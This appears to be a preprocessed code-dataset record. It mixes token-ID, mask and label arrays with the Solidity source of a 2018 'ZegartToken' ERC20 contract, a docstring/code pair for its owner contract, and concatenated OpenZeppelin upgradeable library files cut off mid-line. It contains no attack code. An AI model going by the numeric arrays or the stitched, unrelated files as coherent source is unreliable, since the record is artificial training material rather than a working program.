[ 1, 915, 4314, 301, 1434, 3245, 1435, 2713, 16618, 1135, 261, 3371, 3245, 2502, 3780, 13, 288, 565, 19931, 288, 1377, 3780, 18, 14194, 519, 374, 565, 289, 225, 289, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 10560, 3371, 3245, 288, 203, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0x936cf530568c1a38394b30d896c9cd419d92aa72 //Contract name: ZegartToken //Balance: 0 Ether //Verification Date: 3/14/2018 //Transacion Count: 1 // CODE STARTS HERE pragma solidity ^0.4.18; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract owned { address public Owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function owned() public{ Owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner(){ require(msg.sender == Owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function TransferOwnership(address newOwner) onlyOwner public { Owner = newOwner; } /** * @dev Terminates contract when called by the owner. */ function abort() onlyOwner public { selfdestruct(Owner); } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract ZegartToken is owned { // Public variables of the token string public name; string public symbol; string public version; uint8 public decimals = 18; // 18 decimals is the strongly suggested default uint256 public totalSupply; bool tradable; // This creates an array with all balances mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public frozenAccounts; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); // ether received to contract event RecieveEth(address indexed _from, uint256 _value); // ether transferred from contract event WithdrawEth(address indexed _to, uint256 _value); // allowance for other addresses event Approval(address indexed _owner, address indexed _spender, uint256 _value); //tokens sold to users event SoldToken(address _buyer, uint256 _value, string note); // tokens granted to users event BonusToken(address _customer, uint256 _value, string note); /// fallback function function () payable public { RecieveEth(msg.sender, msg.value); } function withdrawal(address _to, uint256 Ether, uint256 Token) onlyOwner public { require(this.balance >= Ether && balances[this] >= Token ); if(Ether >0){ _to.transfer(Ether); WithdrawEth(_to, Ether); } if(Token > 0) { require(balances[_to] + Token > balances[_to]); balances[this] -= Token; balances[_to] += Token; Transfer(this, _to, Token); } } /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function ZegartToken( uint256 initialSupply, string tokenName, string tokenSymbol, string contractversion ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balances[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes version = contractversion; // Set the contract version for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balances[_from] >= _value); // Check for overflows require(balances[_to] + _value > balances[_to]); // Check if sender is frozen require(!frozenAccounts[_from]); // Check if recipient is frozen require(!frozenAccounts[_to]); // Save this for an assertion in the future uint previousBalanceOf = balances[_from] + balances[_to]; // Subtract from the sender balances[_from] -= _value; // Add the same to the recipient balances[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balances[_from] + balances[_to] == previousBalanceOf); } /// @notice Grant tokens to customers /// @param _customer Address of account which will receive tokens /// @param _value uint256 the amount to be transferred. function GrantToken(address _customer, uint256 _value, string note) onlyOwner public { require(balances[msg.sender] >= _value && balances[_customer] + _value > balances[_customer]); BonusToken( _customer, _value, note); balances[msg.sender] -= _value; balances[_customer] += _value; Transfer(msg.sender, _customer, _value); } /// @notice Buy quantity of tokens depending on the amount of sent ethers. /// @param _buyer Address of account which will receive tokens /// @param _value uint256 the amount to be transferred. function BuyToken(address _buyer, uint256 _value, string note) onlyOwner public { require(balances[msg.sender] >= _value && balances[_buyer] + _value > balances[_buyer]); SoldToken( _buyer, _value, note); balances[msg.sender] -= _value; balances[_buyer] += _value; Transfer(msg.sender, _buyer, _value); } /// @notice forbid specified address from sending & receiving tokens function FreezeAccount(address toFreeze) onlyOwner public { frozenAccounts[toFreeze] = true; } /// @notice allow specified address sending & receiving tokens function UnfreezeAccount(address toUnfreeze) onlyOwner public { delete frozenAccounts[toUnfreeze]; } /// @notice let users trade with the token function MakeTradable(bool t) onlyOwner public { tradable = t; } /// @notice shows tradability of the contract function Tradable() public view returns(bool) { return tradable; } modifier notFrozen(){ require (!frozenAccounts[msg.sender]); _; } /// @notice transfers sender's tokens to a specified address. /// @param _to The address of the recipient. /// @param _value The amount to be transferred. function transfer(address _to, uint256 _value) public notFrozen returns (bool success) { require(tradable); if (balances[msg.sender] >= _value && _value > 0 && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer( msg.sender, _to, _value); return true; } else { return false; } } /// @notice Allows allowed third party to transfer tokens from one address to another. Returns success. /// @param _from address The address tokens are sending from. /// @param _to address The address tokens are sending to. /// @param _value the amount of tokens to be transferred. function transferFrom(address _from, address _to, uint256 _value) public notFrozen returns (bool success) { require(!frozenAccounts[_from] && !frozenAccounts[_to]); require(tradable); if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0 && balances[_to] + _value > balances[_to]) { balances[_from] -= _value; balances[_to] += _value; allowed[_from][msg.sender] -= _value; Transfer( _from, _to, _value); return true; } else { return false; } } /// @notice Retrieves the token balance of any single address. /// @param _owner The address from which the balance will be retrieved function balanceOf(address _owner) constant public returns (uint256 balance) { return balances[_owner]; } /// @notice Allows `_spender` to spend no more than `_value` tokens in your behalf /// @param _spender The address authorized to spend /// @param _value the max amount they can spend function approve(address _spender, uint256 _value) public returns (bool success) { Approval(msg.sender, _spender, _value); allowed[msg.sender][_spender] = _value; return true; } /// @notice Returns the amount which _spender is still allowed to withdraw from _owner /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant public returns (uint256 remaining) { return allowed[_owner][_spender]; } /// @notice Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it /// @param _spender The address authorized to spend /// @param _value the max amount they can spend /// @param _extraData some extra information to send to the approved contract function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /// @notice Remove `_value` tokens from the system irreversibly /// @param _value the amount of money to burn /// @return True if the transfer was successful function burn(uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); // Check if the sender has enough balances[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /// @notice Remove `_value` tokens from the system irreversibly on behalf of `_from`. /// @param _from the address of the sender /// @param _value the amount of money to burn /// @return True if the transfer was successful function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balances[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowed[_from][msg.sender]); // Check allowance balances[_from] -= _value; // Subtract from the targeted balance allowed[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }
* @title Ownable @dev The Ownable contract has an owner address, and provides basic authorization control functions, this simplifies the implementation of "user permissions"./
contract owned { address public Owner; function owned() public{ Owner = msg.sender; } modifier onlyOwner(){ require(msg.sender == Owner); _; } function TransferOwnership(address newOwner) onlyOwner public { Owner = newOwner; } function abort() onlyOwner public { selfdestruct(Owner); } }
5,410,743
[ 1, 5460, 429, 225, 1021, 14223, 6914, 6835, 711, 392, 3410, 1758, 16, 471, 8121, 5337, 6093, 3325, 4186, 16, 333, 9330, 5032, 326, 4471, 434, 315, 1355, 4371, 9654, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 16199, 288, 203, 565, 1758, 1071, 16837, 31, 7010, 203, 203, 203, 565, 445, 16199, 1435, 1071, 95, 203, 3639, 16837, 273, 1234, 18, 15330, 31, 203, 565, 289, 203, 377, 203, 565, 9606, 1338, 5541, 1435, 95, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 16837, 1769, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 445, 12279, 5460, 12565, 12, 2867, 394, 5541, 13, 1338, 5541, 1071, 288, 203, 3639, 16837, 273, 394, 5541, 31, 203, 565, 289, 203, 377, 203, 565, 445, 6263, 1435, 1338, 5541, 1071, 288, 203, 3639, 365, 5489, 8813, 12, 5541, 1769, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal onlyInitializing { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal onlyInitializing { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal onlyInitializing { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal onlyInitializing { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { __Context_init_unchained(); } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../StringsUpgradeable.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSAUpgradeable { enum 